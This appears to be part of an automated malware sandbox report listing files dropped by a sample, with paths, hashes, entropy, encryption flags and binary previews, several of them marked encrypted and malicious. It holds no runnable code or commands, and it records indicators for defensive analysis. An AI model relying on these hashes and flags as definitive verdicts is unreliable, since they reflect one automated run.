SHA-512:	25B01E5B060392C1810359ACFC77327239AC5C43076F77B3BC079EEC03A0A2E4428CF0BD6C535DE66F35E4D4BD88AB732118B664391FCDD9DABB45B40BFA3A06
Malicious:	false
Preview:	Adobe#y.B.Y.dF.?..OW.{......s. ..b..c.aF.h..<.3M.#.......}S.ji..v.....@..n..^...-'...,Z...!.Nk.....O..jU..Q....kl.p...!.....\|[...7.2).].]....q....Dg..\|.9..z..~...E V........Qx...9....ovp..kC.s.J.......t;#..l....^.i..........5.5.d.J....."E....".Yj.Vx1.s..I..G[933.bN....v^..}....).5......d..L.@.W....g.=.At....@p...\|.9..<.>.....l.E.d.3......7X3..u\nn.'V..u...B._..q.....8......@.OX..v..oP.....E..h.%1...FOy....[kJ......-....:.?.1....U...U......(.Y..5.G..l..._../7B.1....O.D.2+O....l.../v7diT.B\|r]{.....Z-.#.....;...IZn.U..$..fZb.0..h...(8.R$ui..K.b..e1.5y....\|`0.Xk&..........i.t\4.....0).T.....O..#.l..(.e....a.v6..4...V"d...NI.....3u.H..a...%....x..w..u.\|.Z.u3.6.,\......Lv.s%.Sj.<m......l....Q.....PV..Z.;&.p...._.a.....s.\| ..Ex.. /.C=...........Ie..B+.C@........mH....2....X,...3.]..q='0t...;....ta]<..!.v.ET..yd..V.`..u.1j+..$.........t.F..}/O..[..v..!......_P.O..o...9..I.`.G(..U'....Uq....J.........`.?.!....L..4@z........4.T.M'.b...A....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	67060
Entropy (8bit):	7.997251814650505
Encrypted:	true
SSDEEP:	1536:5Z0PcpoQFyaD+TB7XAw5Si8RrePZgY8AbOQEZ+8uc8mjjh:5Z+cpoQ42KBF5SZeazAqqlhmHh
MD5:	B0057FD00B187F62D513E3077DB81202
SHA1:	AFCA29E1F7139C8B7307BCB069815DDAE62F9A88
SHA-256:	D67E41461E083428143697C11DDBD1AFE99CC42DD69E0A98EEC2764A6A0E7714
SHA-512:	23EE8437504D3F56E0E7CE213C638D347CEC064AA8DF8DE0ACEEF393C1EEA58797835E1E0E017EE2017EA44D267B2978948B892E0FBCABA60D7E0E1F5B810AB7
Malicious:	true
Preview:	4.397..5......+!....v-...@~m.8....>.F..S.J.fW.4.A......}..%$>{.O.j...9.`........<...@.t?'Z.SSX..%.`Et~Ai..1.q..`kxhe.!.$.8R..N..).....o.~X.....+..j`N>O...Ja9O.]O......:.'@......~.:.NW...Z..i..F..gE..Q./...}nkc.Y.;......./F.0/.~.v.......rO.k....W...^..-,...9.m.....]...D.G.J5....>.q..[...<A......<!4U...,.{..A"..l.1..\|...<.L.9...J...cP,$..3.Ce..\|...tK8+.p...K?K.F...(.z.....^.q.P....S....,...._...r...TD.".M..Rd^s...e0[k.>S......b...:......qke.H.x.8.-..>....I......\...\|...z]....M.....F.\XIAG.;(S....z.Ed:.v$........;.5{....8Z.>(.O.\.tmU\..Q.O.#..J.e.P...b..#......x.n..(p"....c..].R'.W..?zb(E.D......b.1.............F.Z.....i...E.X........9Q.'./..+T..8"....%..C....n..'..s...\..y.../Mz.7..3/.d...P.K.SQ-....J.......m...+c...Q.......d5.l.......H..t.bl.z$.G0.....A......hQN..]...k%,....(7.\.mmX/.,..bQ.$7'.....9.V.......t......,.q.......X>...Fk$.Ik...5..p.......m.B.I7....e..k[.,........H..\...0uv....aG.......}.^.... .\.78dx..._u>'..)..P.'N...q

C:\Users\user\AppData\Local\Comms\UnistoreDB\USS.jtx

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	3146062
Entropy (8bit):	1.7343729263794634
Encrypted:	false
SSDEEP:	6144:y0ENUTpr8ArvfafnkDaOH/o7c3WgKHqA3cRtO2/VVt/MkF7fO5Jbqh+A13TGLZAR:sNUKwifnaaOfoTFY/NMDo
MD5:	EA94F93251B9B07ECC84F5E8D83F86FB
SHA1:	E3F470A985C69E687A5952F4367CBBD5BF2C8D28
SHA-256:	00CD7EC44074897129F9BBB55B547E1DE3B3B7B2553153E09D6013E89B64F162
SHA-512:	EFF20789371B8505D911FC1B58B9E2E25C92021621299823F56DFB50916CA72E648FD0BF764479B419EBFB90C99E7A2796F24A7B6919C9CF826566BA43DED3DE
Malicious:	false
Preview:	.&...B...<..^>...>...o6..~...w[.@.\.9.^S....amR.....y4\.. ...f.....>..qG.}..c..i..z....3...6g....>.g.%..>...U..p]..XQ&.Dd..N?mx.L.E.2....S.-.....]......XR.>..4..b..<.?j..p..d.9..^q.<b8.`....T.:....ai'...g)..iy..g..0Qi/.,..L.8j(.\D&..o)h..(N.9..wq..+..18.xO'.....92.e....H..(j6.J.i.a?...=.}kK..j&.il...t....^[W..N?....k.0e.t%P.....r.......&2S....3.^q......:.]7...1dj.x.K.....!2.V.uS..g'..s..g].~p. f.b..b.(.5,{`.po.9.m^..M@.V.\|.a..s..]..XH..O~.\0.R..Z9........5RJ_...=y\G.T...^T..QF.]...p.B.'...v-....n./,:....9W....Y.}].I..~...3..t..&.X..._.....[..w...,%iC..j......r9..(JG.\|i_.-.rIR.?..<...M......PF.w...^.\.I..t....EB.....w.L...S....>m...d.7.f\h.....s.......}....@.&..R....A.O......L..z.bn..}..c..D.....P...t.@K...&)..z...X%6Y...=...,H.".E"$J.>.-.a]Z..H?..U..M...m.!.UE. UI`.du..a..vd...Z@<....9x....@X...F..F.k.C......\..8..M......1........q.&h.<.7..@.b.k.X....W..79...n`.(.@~x.`S;...WF.fz9...]o..l..;!>5..[...K....3.T+h.....p\|....G.4.x.@.~w.....u

C:\Users\user\AppData\Local\Comms\UnistoreDB\USSres00001.jrs

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	3146062
Entropy (8bit):	0.6706889608416793
Encrypted:	false
SSDEEP:	3072:CDRkt/JxTsM4h3SmrQLC7eOtx15OMrghHOxeO7rm1aGJD9BO4:CiJxYM4lSxRQxvGVO7rmQePO4
MD5:	759E5C55A453F8085C3914CA36517E5B
SHA1:	C27893BCA881C2A1BD8DBA137FDA744670BDF932
SHA-256:	896694D0837511A4E97D946A638C770CF246B29DBFF775AD0C2025E2F3029F17
SHA-512:	AF013280616D3BBB51B19406133E22AB0271DA297396D46C5BB45F5BCFD6FE372B539BA22738F576BB7BAA4A88A27E2FEABC4600A7B367C0E431600C34DF525B
Malicious:	false
Preview:	.....n.q:.r...x....{...8.t.bv.c(?..aM..........:.>....c7.>.NB>..<....I6.+t...)..a...e...5..N.D../]z.<.s0..(oy<y..y...w...'.......Hu..EL.h..d..#....Zt..0o.K..pu....J.50.q.....}...u.7e.......w[T#..4.B.....D.s.mw}U...V...\|(aE.ce.......G..v40.j..I.V.CJ.p..Gx...s.....8....}7].[j.Z94.A.v.@.<.x.$.I...@.....;..E.+....L..;IW..W}.S/....,K....F.........-yC...Y.z........{e..ew....`....Q.e..'..`+f.AJ.T....kM.q..6.z.~X...Y.TQ......s..zXw....CP....?.o..].7,$...A...0:...}./R.).b.M..x..6iS.}....e.G.K.L2{.=....(.0.\|.f....S./.X...G.f#F.`.T..r.m.K........ws..^.:..d..:.H..Pzk.9....D....'.AQ.(>.2........Z/<......68......EJ....r.9...5ec..!.@..!..zQ...L]a.c4...-0x,.0.+.#..&.....h..4\|PIVT./}....\|w....J.>t.Z..Z..'+...)6..\|&.K.B....&.\...K...P.....w...1..R.@L....[\|.3.}/a..6...j.W.....\.".S+.v.~ms. ...7..'%h,..X..l....".p...0. .n.....d.F...B...O.,......u.;h...,.....,...*...\.....L.=lo.q@.QkhS\|p......G.).1.MV...Vl..>Bf\..aC..f..6..z}.U.N+I...E/.E(SJ..i..A..IG....

C:\Users\user\AppData\Local\Comms\UnistoreDB\USSres00002.jrs

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	3146062
Entropy (8bit):	0.6706852767134048
Encrypted:	false
SSDEEP:	3072:28axnuuN6DGnXefPaLcwJAWDf6x9plh4UWOMU/UOOxXkwsEZ:NMtNRnI02+mpjvQraC
MD5:	AEF098757A4DAA5D9DE2955A32B853A1
SHA1:	F8AC81848148F5DD9170BEAFCD64CDADE8E3D78A
SHA-256:	A1ED317B847DD703187B2781F98DB42D067F4ED07A57CA351587C537470E89E7
SHA-512:	B2D0F483AE962BB26059EB190C6092AE9679006FBF335691E524823850C11992C261E717B384F6C53212B0C0DEB7A8FEA19D528BE45CC1636275F1A09FB2248A
Malicious:	false
Preview:	.....>.K.."Va.q'q{...#..?....A9...\9.~r.r.....UB....d..LN........R..e.@...5....,{.........\|\|f..... .....b^..'z..{.j..~I`...3.A&[2.{.1G.pj&t.....n .....%4.2...B.K..:.D$..\|..{X..A..{]..d......_.e..R8\..4g.:...3..~.=v......j..Q.u/)...k d..f..:........_..r.....3.v....\|}dt.......5....D\.@.......7.z.k...=H.....j...k.z.....el..So....^........_3.".n.s.H....~qN<...z{.vz.'..t..3.....:....J.....y.$...Jd...[..G..W5P.Wj0f+...I..?......6..............,-...+.1.R..gp......DM..........+\|2.\|7...(e..l,m.{.e.k.$.] k;%.P..p.t%.....E.\R.0Q....M....'KY."...S..<............`X.....z..O.d..a.....:../.@..r%.]...lS.D.tV...._\|(.J4.v.ez..0lfx...u.j$c.V.C..e1......+...U.s&.......C._.t.@..U.R.QX.[$[..ZlQn.......\|.M..0S..V.B.+..;B@.:..cn.u.7.)D. ie...V.>v..t..E`&FM5...!C..Ry\|3...%...._s.x......`.f.=....-D..c.. ....;ly......Z.h.....=.Z.....+f.%.c..(A.....r.1.[}.f..81.z......H.W=_.....J\|V..&.>..&.a.{.Sd.ruONZ..x)......H+M......-.....\,..ukmR........V.....h....}...y.....

C:\Users\user\AppData\Local\Comms\UnistoreDB\USStmp.jtx

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	3146062
Entropy (8bit):	0.6706051535915637
Encrypted:	false
SSDEEP:	3072:NuD4jccbSIJsHxkLmMcn3rF/bIIQ6DrakcpHx+f47KoL1HoNyRU:PjoIKHxqmMcn7FjI56DGCkHoNsU
MD5:	01415E05962647F5182B90924D5D98A4
SHA1:	A7281CA33EA97355198C2238487FF0689B9C19CE
SHA-256:	113EB27F76D292BABAFCF967B5A36E5F4F91B0EBF5A979D435599C088E6A99A5
SHA-512:	4D8A39E905727AD2DFEBEB2FDF48BA1D734F4DC298330165611834D33171AC4E557B26A3513E25DED7FFE8F992723FEB7D87A420A1F0D420E59E5E7250685800
Malicious:	false
Preview:	.....S!J}.R..bAo.;........'../....., ...:Ym.a..1..,.N..R..u."E....L.{...+5.....F.P..v...i>...gy.S.. ..Zs...x..2....r..j\...V<.'.1..<h0..-...{f.f......?..w0.wg.Fb........v...HhiG..E.E.......-..59...t..+...-\"..!....+...g......%3Dkv2.\zlT2.5Z...!HrV...3...9.....6......... F~..B7.a..;.p.S.x.W....2..Q..\|...B.iCH.._._....T..Qy..bMZ...:'.#.~.....g.@....'..+,R..hC..\R.?\|..."......@lK....P/?.9..)..o1.[q...UR.e.p-b.D{9..i.(....R'...g.....3..0...>u...;n..sZ....l..n\|....,......\.^h{.4..kn..H..........{.~.G.{.....j@%d....v.Y.+9.h.>.]H.j......C...I.;.9.....;.A...4...n..4.QI..D:.l!..23......_.8.].P..y..Jn._...Jt....{..b.,...u.Jt..Q.!..h.^..N.B.;.e.gF....7.x...}.$.!...v...BQ...X..%;....F......v4.....Nd.\|#m.1 H+b....^....p..m1..m.6.z...H...xk.b,..p0m^...S....=..S\|..E.....B.1`..v6.\...H4JoD.....E./...u...U.g<..g6i3.+."...&.....j...(.?^.p.._.zQ.....$0:,.*.q...1.'...........w~.........k...2.....i+...f\|..A...M.u..f..C.L.]..+.z..a.."

C:\Users\user\AppData\Local\D3DSCache\f4d41c5d09ae781\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.idx

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	65886
Entropy (8bit):	7.997776299320733
Encrypted:	true
SSDEEP:	1536:15Z9Ti5wtQdrzrvDU/H4BUQtN4DRvNKnBfgy:1rY3LU0U3DRvkBB
MD5:	5935F2CEC1F214BA6EFB779A6565B5EE
SHA1:	A2A013F1C01E708474DA433FA865B1ECF9697D53
SHA-256:	F86CFD8ACD83388754C23B15544BF56C9F5C5DC4217847966A88B2F8E60C4743
SHA-512:	C8E8EAA62F39295C5772600A69A41154242FB8328FBF18EA76BE862202F5BC898D1A7AE8A95512C1D27116F35B9F0B0C635A2B77535BA462695922399F7BD22B
Malicious:	true
Preview:	...S.mH.....=..{.k..W..m>.g.p....yg.+."......V......:...Cm.yy..k.,y.7d/d..hq]..Z.+...k..4.....)Kz.".D!?..a....}2.._..}.V.L..j.Z...u.@.....p...N.A.z..$3.$g&...R(..%.r-@.f\..ig&..v&).&13q....{pm.~.;..9..R,:...K.=$...S...........d}...P..O....v.A?.X../..W......'f?....AI]....M....e..1....^} .G_`N.[^LB..4.X<:...W..bo.....;...?...:..K..'.7..A..].....@.T.L.r....7.K+)a...!_....m.Ok.~.M....](.l.pA0,.8..mPxI......)M.A.P.'..{..5p.bmVY...p8.o..x.~.....b.z.......`+\.....+.7........YM.#._....._)h`.i$}.N[p.a...2...E..u.J.V..}a$D...\..........2..~p.'H..R,.E....DqHp.EO.L.0:>D....~..-...8..E.wYBwN.R2Z`.kH.....BB...y.{...2...=...~.Y...#....C.P.....'..J....87y.%..pcC.C..zH.uH....=.!.+1..9..AS..F..(......S....O2}...:.k&..O=.5!o.~.0...../. .v......D9.G.@U=y..3..E.._..-..v....w..DU.&.N...H8....F.E........q.F.t`D...lX.0=".....>A..q?........ ..d..A.E.....P ...i..u....z.P.".)...}L.W...gm.1......k.fP..o...P..r.U.V....d..l].h....~}.AVWV...z.c....U.A%q...t...l.K..>.`.

C:\Users\user\AppData\Local\D3DSCache\f4d41c5d09ae781\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.val

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.30227653130464904
Encrypted:	false
SSDEEP:	24:CiV10bzcJWjwz6klARgwKIGrEfMCSbMj7UwOpT54hZ7dliCH2bz:TSvcslklARgTIGrMVMT52Z7Gz
MD5:	D6436AC7E09FC237C8CD257ECCE96FC5
SHA1:	E24E8D52EBC4AC628550EF625A13F75708CB2419
SHA-256:	FB0DEF068E2B77DC633A4C1061E92EBCFC2AC05EACCB1FEF522D4755A3114EF9
SHA-512:	E45015970FF9CA3011561C3A03C353AAB11B6DA75071646033264EFDD0E8E7EB34A8160ED560696DB1927994C0ED9124EEACB2F20B104B3025394E0BC24AADBE
Malicious:	false
Preview:	.........\.._..c.d{....=B.A.+.O....fg..k.........x_.n..R..:.p.........).5.6w8.I...!W2...Vv.5#P\).6...Va"2..U...f..`.9.Y!.ls.^.'!..`8.4...].b\|\..F"~..j..N..2....7........D.f......vkT@..{J..x#`.H..l.[......Dm....1).]....S...b/P.'"..s.T..P~..P.]_w.&....x....J.P.M....J..pI....Q.....K\....>x....Tt..z........Y/....Y .PP....Vs..w.utW!..,...).E..g.gT..=..C..a.T;..PO%.MQ..._.n..4........0w...j....i.b.E.!...[.....x..Gu...^.<.?c.c .Ds.....^..?.:......;.3....<o ..S.q.#.>......q3.B.nJA...q.M...,;..\|..6..pfQ......Cz....%.Ne..s.[... ...+........{...=..........$..2..H.L..t..\|b.....$.Y<I....cp....B,.3..].....w.....LS..+..Q...h..>X..`..W..@5.K.G......W%l...2....{a...f........4./.-M..y.Q...S..Sx}W F^....t.......?.C$-.......D.B...=,....M....IG\.k$l..i.....]...'...T>.P..Y.0.?C!.....2..2....t.?....g.}...R.M...s.m......Z[Z.#...).63..i<...95...=K...X...t.L!....^.(*R..8........".S@..f..._VS........aU..I.Q.p`o...Z.%....q.3..<"R.....<q.}D.M.o.5V6C.l~_..i%.Fr......P..

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\128.png

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	5316
Entropy (8bit):	7.966500741391923
Encrypted:	false
SSDEEP:	96:VOWl+rW0BiWlZM7x9S1K3HO5gz4XBu4+W1ip1NLDYJRRUXNdP5TkeUWRscszLBy+:kWwrzIOa7SU3SRxwak5NCcsnfp5
MD5:	1300528FAD4BB22A187775BC9496530C
SHA1:	A18696BBF715BC3102471EE0DF9EBDB928225EEA
SHA-256:	1CDCF636E4BF2F6C9E874BA7957A4493EEFBFB3AE1E4A38545B0AC4601993E7B
SHA-512:	C766D2271AE8618C539F4AEE512A183CA0857515681A111D108726FF251150440A509D9664E9FFEA2E47F43776274B5844D396264ACC2BB1BE3679D30A5ECA4F
Malicious:	false
Preview:	.PNG....+>...t).C~.5._t..V...+~P...}.O..0_..6.Tc..H...u..c.$mGi.ki.6....$on....!=.....9S.K....a.......4...&..fY.#..~....d......U...`.Ki._.X........ M..9...mnV....I...pk..n.....K+<2x3...p.G.^...0.8:j.....E.X.o....j%,....$...L.m=.G..9..1..K"..('&.;..D..1...9.....H.t3G...$........v}BR0+/.r...yHI.z....z..e.):.L.=U....Xs....p-].6.....9..f..@7%\....@.....3.S.;?..$._;.6........%....Q.. ......K..3......:..n.$. ..H..v....]."Q"l..>..l/..bIw \?...%..w..b.$..i.[....+9..t......v.LGy.......'h.....-e..'...."K'>Y..."..F.\|n..1..r..D..c.P5hZ....U.f...8O.../..c/.o.d..MofV8Z\\|,....>D.Q...w.SR...+..f..3..$;........%........IE.A...Cu..<.@.'.....J....._)^.A..T..~.n......().5_l$.Z....u..R..0.....]r...3..!."yRQx..n...F...s{...].f@..O+..........PH...2.' ei...!..5,.T.....'..nd..ze.n.8.4I!.$...Q.7...3.e...."..fN.uWy\J..Dw......].nt...J.!vH\|%..D@.c....m.n*...........#.[..;..l.H#....I.UH\|.`m.:.)G2.......d...K../8.p.?..pK..A1......Th.Y{..Gc...\..(._U..A......

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\dasherSettingSchema.json

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1188
Entropy (8bit):	7.830542139564328
Encrypted:	false
SSDEEP:	24:HTcTP80bi9GkyjREXVpsz736FlRddy+CkHoi+m2bD:HTGbiwksAVOzuFREdOoikD
MD5:	8AAD4D955AF409BE4AB845028AC93C62
SHA1:	FDA44E27EFCC3B21CD86BD1E54951EEA0400717D
SHA-256:	AB90D62D0759DA7CB122E78C6B1572D970242214E13F2A0046CCE5109B537D80
SHA-512:	8B4FE159A76FF77ECF54CFA40146F40AA013654F55A2872D6FAD41EABD5C8F890D14C2F5A6A2DB88829898D8BF98CD0CC2F6695BA71E221D8CF289222029E02E
Malicious:	false
Preview:	{. "G........RX.....M...< .]SB.....`y}..U...;...de...@6$...1..Z].r.oS..5f....{<5 .#.m..&.&~.Y$..1..w.n..2...7..\|.E...k.-U..@....6<".............2...a(..}+..-R..:........"...B..(W..Z..x?.y.N...e.T...p...V.J...]W...l.W&6...+.:.V.2..%Q........y...k..h..d.....v..E.<._.$}.}.-..4D.e.$.. N...es.,.M.L].<..D.....C...^\.......$~.f..b..-.P-..2.r.6:.....k.h...k.#K...........?.D...../g.. ....Qp.X@?.......4U.Z....s...._Vc#..q...i....3.;.i...Bb.Z.8.b.F..\|...}.jw.S..F...............(.>X...]...=..............Y.Y...u.........1ij.64....A..C...OV}\|2..iq..e..,.+.h.\|[......).HK..R8...3....z...,......2-.cz}..v..n@}.)...lLf.6._...Y...N.D.....=.LV6......5..xXj.N.4..."..Yy!U!?.......g...(I.C....~...../nt...w.58..p.e.W..,"..a0.P...Ue...e...f...zB.....#9-%\zL?..J.e...Fv.Y..'...G9.(.L..$...W......pN)..Q.....j.K..=...i...F.R2....0..l..q....zoL..)V;.....V.\.V...cm#q\|...b5V.t.Y.c..0..VS>.:k..n.5..`2.s8...15....4x8..U2Y9{=yC..@..[...X.[W..^Yo.....-.&l$;...l....E..B.lJj....6v.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\eventpage_bin_prod.js

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	80603
Entropy (8bit):	7.997387890223992
Encrypted:	true
SSDEEP:	1536:yYzWEBCk5EeqX8x07YhTgvEEpO+gFTADkaYdJdG3J6CAjn2qI7H9f21EQCqgbw:yGCk5EZX2VhTgvWFTgkc3J6uHCEQCC
MD5:	9A95698279ACBFA31E259F19DE5B4C24
SHA1:	C3C80DC439CE1FCBC9CEA015791FFFBA0B2E7BA8
SHA-256:	F2917A710CC8C7781C280F436686D41EDB363863A415FC551F1C6B2614072879
SHA-512:	4056FA7A1B1C1630DF3BCEE13EF2D463913A7D382179247A0E772193EFF626CFE17BE08F6D15BF937E28ECACCA5544CA1018056FAF2BF70BDDCABC0F3F8D1143
Malicious:	true
Preview:	/.. vQ[u-.U.....zRC..!P).W.w..[G.z..k..T!..Y.Ef.d.......././.y.....Z... .:m...G..!.$.n..b.^.d..f.....7..R.h.......-.j3@.i....[..Y..72.....r..2.f...;q:...b...,....F.......w.P}{.mn.-3..rwm.....eF..M.s.\..........-....~.m....g..9..;..y.G.3....K\\........}X]..6..:...d@.N....t...0.Z...^..mEv1....)..z.k....#...<nF3.}G...,_h.DY.....:.......M.I....E..?..9...(........K..I........:.3"z.17....K..........k...g3t..vAw..mnr.].UZ.....'.be..v...e3%..,u.l.S.....i4...xrV`...m.}.B..w..Q~.!j.d!._U.OhW..U.i<W..3Y....8.9.b..i./..%.']...X.......0J..dQ~...6+f....[..-..S.3...1.C.....~..2F.'....W,.)..P@_6Qt{+..........S........*..bMV.....@.....2N...,.W..s..\|....sU..I.40....w.{T.:y.....!...N.L..9....\|@Oga..._..).....t..,.8$../..2)U#....dH."..~....<....0..;..q...\]..Hd.c.@B......oUZ..... .7+......f..X....T.......z8.fV..'..X.V..D.6..do...^.q.......Ib.....{L.....56.:..+K.0./Q].y.s...M$......^D....P).._]O..a......z._....`.8.?.K.>3...(.m...]).....,.U:..d.1...

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\manifest.json

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	2731
Entropy (8bit):	7.91260253778926
Encrypted:	false
SSDEEP:	48:DsiijVNF4bp+kwYTs5WavquXvvItPZ+Brgvo7ZrvjZV+0kufLM/ye4EyKitNUbgf:a9TknTs5Wav7/vA+BrFr/RkWLWyhrnQI
MD5:	5FBA591754C972479C3A9238150E543B
SHA1:	3082F55FE58DD8FD23E0388708F43BC7F3F39C41
SHA-256:	FCB74DD3EE33C05497E8F01DC28263D954323E6F11D68B9EC3CED18CFEFDCC12
SHA-512:	A452DEE5D4A8841C912907134AD14F33112D7C0586DF5C7C2F9A15E23AD28937DA3167077932497A8F6749D2361D5AE71E5E02431853B69700FE316FECAD1B43
Malicious:	false
Preview:	{.. ...I.YM`.....Q...........^%k..y.I.^..M..&S.......t.1..b)...i.I30....B...!@aZ.IBR....B^1..b..9.vl.3_..#.....+."_...Ize........GM....M..1..B.....!M.U..,,..]..!...y..X....1.g.I.r.`.?B..K}..<.'.o...w(;......O....5.)3b.f].....R...q...vj........Q.".}.~.Z.Vqh2...9.eZYF.i....D7.C.\|..<....J..X.G....3.kLu..G.m..>...=!..U.,T2..[._>....b_4....../...C...z`..R..5....=..[sz6.xQ.P.\t....[o..2...R..E:..O...0..+2..7g.$....O.f?_.-...US.=.&.....,y.:f..kxx....)Q.w.#.;C-u>.....K..<r..}..:+c."#........'XM....S....bLy\|.!E.$. Kx?Qc.0.f..#u.$.E.:..2.OZ..b...;%......#....3....a;....tc.g>...u1..7:.NZ..Xv?...l"...zC#.M..m....Fk..Kz%...V..Z.P.X.....P.Xd..D.4.s..RP..,L./...9.2-...'A.xh#y...['Ij.,a...2..........!.e=-.=..1.6..#....5...B..:.q.. .....F$('..r..".t.......lP@M.n.^t.$.+...0...)B&..3.+@.<f6\.r.(N9.. ;.-,....2...D.&..L.d..6(h.A..n.M..R/.r.Jd.................q@.";.<..].Xv.0C..W.^./._..U.&./..59$...'*:......Ty(g.I..."r..eA..R..........(...v........

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\page_embed_script.js

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	625
Entropy (8bit):	7.695792041734759
Encrypted:	false
SSDEEP:	12:2n63TTB5JsmsfCovgp2omcNH3xG1AU9lISUdNcii9a:26jawovgp2oDx3xG1rv2bD
MD5:	8F38F1E7729892EB83D352E3B13CAEE3
SHA1:	3EC597301DB0200CAB916FDF636EB738F45029E5
SHA-256:	AD2249925EB2B63E739A9E1464F1C3FD8C3473A80AEEBD211F50C07999B213DA
SHA-512:	A82A5723A67DF2CF29904E5EC31D48E1AA3B3982ED5B2E4F6D0EF9C493F2BBA9C5CD1AC6A7D0B1F54FDB8EE6468132DEE2AAE1F45525723B358AF73682D1104E
Malicious:	false
Preview:	(funcbb..=Jr.../}..GT........5... ......#v..f.;. .....j.aC5Ad..Q...o....{..@&...m.e5........(.r..........IY.uz.....Gw...x&@o?..l.Qn.e..4...h..,$...6F!N=...U.q)..y..Go/vS...?%X..O..~..l.>l..).I[./z.Y...U\|.o:-....z.Z.A...b.#..;...V..i..O+.....0{.li~h...g..........-`"..N...o.a."....C.]...X......l....&._@.fK....=.......y<.V..&v..U.u~ck..]..O.Z(.....o....\|.+f...S..4Xr.t..p.'..(.%..fxH........\|.R.c.".........\5Lz.....l...u.....%N.mh.;...q.F.m..E...f'..`.5..[...y.~..(,U...Q.F..:...n<.8..Zd....zdb.Q.>.l..n.jN.^...y.....mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\craw_background.js

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	544977
Entropy (8bit):	6.601034731183444
Encrypted:	false
SSDEEP:	6144:0bplza1a++GLezlJ5Qh9RXqbe5Dq31IVlMqX+wd5/CcMMJcRULt0NjyTOEzZQ+hX:0bpxa1nhef2
MD5:	9C2D87B07F727CB8C6A110675237892B
SHA1:	17ED9A7968DB58D364F7D7F18FDF7B513E4C4724
SHA-256:	601157C140CFFB3C76537DA2DCC648221F9AB1691C8B41DBFBF809EEECD7C12E
SHA-512:	AB607F6FE1FF1A01E2907D21060E1A8EE6A714ACD2218C928CD3BC6A0BE4A243F2640A812AA4E8E0FAE443AA2F55CA25900815265B9324A185AA20C2C2A92FA8
Malicious:	false
Preview:	/.. Ff.]-....(.U..u..0...r>_.Cx:...A,.4]..[..C{..78..Lu..P"E>...L.N3""..W.^.....c/.r.q.[..tex.18bk..\|A#..f..J....H..8..jm..J..0=.;....^....O...k..2C.$.@.V........... {,....y..g...J .}9.W.N..O.}pTEZ7.:..^jr...U.)..\|AT6<..%v.......#..U....D...Z..$..M.@i...,jz./.mI.;........L.uL....B7..M.sT,^ .G...G.......m..{A.!Ow.k..8.....B.:\...L./.5.:...p$.0.S...,v3..%......,.69....J....d.n..y...@.4..h..>..![...c.G/..._......I[.~Ev....?..u....n....{'.....}..m..g..Q-....m.......03.A.ot.k.p.z...\8.......db:.B.x`}...$.'T........qA.zS.-5...z..\...HE$C5T..3.ls..3.:9.AQ.L..h....0C@.....c(..'.v...}._^...7.\|......7.+..M...*j....e5..s.o....s....jr3..m..VDQ.K....cTdP1?\|.^Z....bK.657j...a...ik0.y.DlN.....[..N....f....<....\|.s\|...kb...2....{...e".....<.0<.S.gp/O...15.kx...K...._!.. [ni1...\.<.\|.DY.LU...\{.ud..J.e(.L+.......0(.B..C........,..5.}V..s....'+{!..D..R.[.f!~...BK...q...v...>E...%...i........k[~,..px.&.Ki...?..l#'F....H.^.i_m.]..0.k.._..........6.9.2M1W.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\craw_window.js

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	261650
Entropy (8bit):	7.489715314607983
Encrypted:	false
SSDEEP:	6144:mhRCIYYdXxXo/mwCVBA2w5Ch+Ex9FNNsZ9Dd/ceF:2Re0Xxg8BAJk+aFIBd/
MD5:	45FFBD00B0F3E0C09AEBEBF97B46BBF3
SHA1:	9A17515747158C69921E05018C615EEA7A2FA1E8
SHA-256:	D38E4019B1457036D26D3F1FE1F91D3DB51A3589578E1CF15A27E7FCA0E3F04C
